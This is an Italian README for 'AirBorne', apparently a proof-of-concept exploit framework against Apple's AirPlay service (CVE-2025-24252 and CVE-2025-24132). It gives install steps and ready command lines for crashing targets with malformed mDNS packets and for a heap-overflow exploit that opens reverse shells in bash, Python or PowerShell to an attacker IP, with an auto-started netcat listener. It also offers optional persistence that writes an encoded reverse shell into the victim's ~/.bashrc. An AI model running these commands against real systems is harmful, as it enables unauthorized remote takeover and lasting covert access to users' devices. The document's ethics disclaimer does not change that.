AirBorne PoC Framework – Edizione Elite RCE

Framework PoC completo per CVE-2025-24252 e CVE-2025-24132
Di ekomsSavior |

AirBorne è un framework proof-of-concept (PoC) combinato che mira a due gravi vulnerabilità nel servizio AirPlay di Apple. Include un trigger completo di crash e un exploit funzionante per reverse shell con persistenza opzionale, listener e molteplici formati di payload — tutto in un unico script.

Cerchi la versione originale?
L'edizione legacy è ancora disponibile nel branch legacy di questo repository.
Per visualizzarla:

git checkout legacy

CVE Coperte

CVE-2025-24252 – Crash del Record TXT mDNS

• Provoca un crash nel demone AirPlayReceiver tramite un pacchetto mDNS malformato
• Funziona tramite broadcast UDP sulla porta 5353

CVE-2025-24132 – Heap Overflow → Reverse Shell (RCE)

• Provoca un heap overflow nel servizio TCP di AirPlay sulla porta 7000
• Supporta payload reverse shell in bash, python e PowerShell
• Include persistenza opzionale tramite iniezione in .bashrc (Linux)

Per Iniziare

1. Clona il Repository

git clone https://github.com/ekomsSavior/AirBorne-PoC.git
cd AirBorne-PoC

2. Installa le Dipendenze

sudo apt update
sudo apt install -y python3-scapy netcat

Panoramica dell'Esecuzione

Il singolo script airborne.py include entrambi i PoC e tutta la logica:

• Seleziona un CVE usando --exploit
• Imposta un payload reverse shell usando --payload
• Avvia automaticamente un listener netcat per te
• Abilita opzionalmente la persistenza sul target usando --persistent

Esempi di Utilizzo

Crash del Target con Pacchetto mDNS (CVE-2025-24252)

sudo python3 airborne.py --exploit 24252 --interface wlan0

Richiede un'interfaccia in modalità monitor.

Avvia Heap Overflow → RCE (CVE-2025-24132)

Avvia l'exploit completo con shell bash predefinita:

sudo python3 airborne.py --exploit 24132 --target 192.168.1.42 --attacker 192.168.1.99

Scegli invece la shell Python:

sudo python3 airborne.py --exploit 24132 --target 192.168.1.42 --attacker 192.168.1.99 --payload python

Abilita la persistenza reale su target Linux:

sudo python3 airborne.py --exploit 24132 --target 192.168.1.42 --attacker 192.168.1.99 --persistent

Solo iniezione di comandi shell

sudo python3 airborne_bash_command_injector.py --exploit 24132 --target 192.168.1.42 --command "command"

Opzioni del Payload

Modalità Persistenza

Quando si usa --persistent, lo script aggiungerà il payload della shell inversa codificata al file del target:

~/.bashrc

Ciò assicura che ti venga restituita una shell ogni volta che l'utente accede o viene generato un terminale.

Note di Manutenzione

• Le shell inverse sono codificate usando base64 e inviate dopo il buffer overflow
• Tutti i payload vengono inviati tramite la porta 7000
• I pacchetti mDNS viaggiano su UDP 5353 e richiedono permessi raw socket
• Assicurati che l'IP della tua macchina attaccante sia raggiungibile dal dispositivo target
• Lo script gestisce i casi di errore di base e fallisce silenziosamente su porte chiuse

Dichiarazione Etica

Questo progetto è destinato esclusivamente a scopi educativi, etici e di ricerca autorizzata.

• Devi avere l'autorizzazione esplicita per testare il sistema target.
• Ti assumi la piena responsabilità per ogni azione intrapresa.

Lo sfruttamento non autorizzato dei sistemi è illegale e non etico.

Crediti

• Realizzato da ekomsSavior
• Ispirato da CVE reali e ricerca sullo sviluppo di exploit